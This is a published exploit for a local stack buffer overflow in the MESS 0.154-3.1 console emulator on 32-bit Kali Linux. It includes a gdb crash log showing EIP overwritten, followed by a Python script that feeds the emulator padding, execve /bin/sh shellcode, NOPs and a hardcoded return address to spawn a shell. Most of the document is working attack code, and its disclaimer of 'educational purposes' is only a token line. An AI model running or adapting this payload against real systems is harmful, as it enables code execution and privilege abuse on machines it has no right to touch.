MESS 0.154-3.1 Buffer Overflow

`# Exploit Author: Juan Sacco - http://www.exploitpack.com -  
[email protected]  
# Program affected: Multi Emulator Super System (MESS)  
# Version: 0.154-3.1  
#  
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org  
#  
# Program description: MESS is an emulator for various consoles and  
computing systems, sharing a  
# lot of codebase with the MAME project.  
# Kali Linux 2.0 package: pool/non-free/m/mame/mess_0.154-3.1_i386.deb  
# MD5sum: ae8650a6de842e6792ba83785ac0dbef  
# Website: http://mamedev.org/  
#  
# gdb$ run -gamma $(python -c 'print "\x41"*4080')  
# Starting program: /usr/games/mess -gamma $(python -c 'print "\x41"*4080')  
# [Thread debugging using libthread_db enabled]  
# Using host libthread_db library  
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".  
#  
# Program received signal SIGSEGV, Segmentation fault.  
#  
#  
--------------------------------------------------------------------------[regs]  
#  
# EAX: 0x00000000 EBX: 0x72203B22 ECX: 0x00001024 EDX: 0xBFFFE094 o d  
I t S z a p c  
# ESI: 0x00001024 EDI: 0xBFFFE095 EBP: 0x00001024 ESP: 0xBFFFD038 EIP:  
0x41414141  
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B  
#  
#  
--------------------------------------------------------------------------[code]  
#  
# => 0x9684539: mov esi,DWORD PTR [ebx+0x48]  
# 0x968453c: lea edi,[ebp+esi*1+0x0]  
# 0x9684540: push edi  
# 0x9684541: push ebx  
# 0x9684542: call 0x96843b0  
# 0x9684547: add esp,0x10  
# 0x968454a: test al,al  
# 0x968454c: je 0x96845ad  
#  
#  
--------------------------------------------------------------------------------  
#  
# 0x41414141 in ?? ()  
#  
# gdb$ backtrace  
#  
# #1 0x41414141 in ?? ()  
  
import os,subprocess  
  
def run():  
try:  
print "# Mess Emulator Buffer Overflow by Juan Sacco"  
print "# This exploit is for educational purposes only"  
# JUNK + SHELLCODE + NOPS + EIP  
  
junk = "\x41"*4084  
shellcode =  
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
nops = "\x90"*12  
eip = "\xd1\xf3\xff\xbf"  
subprocess.call(["mess",' ', junk + shellcode + nops + eip])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Sorry, Mess emulator not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Snap! Something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit Mess 0.154-3.1 Local Overflow Exploit"  
print "Author: Juan Sacco"  
except IndexError:  
howtousage()  
run()  
`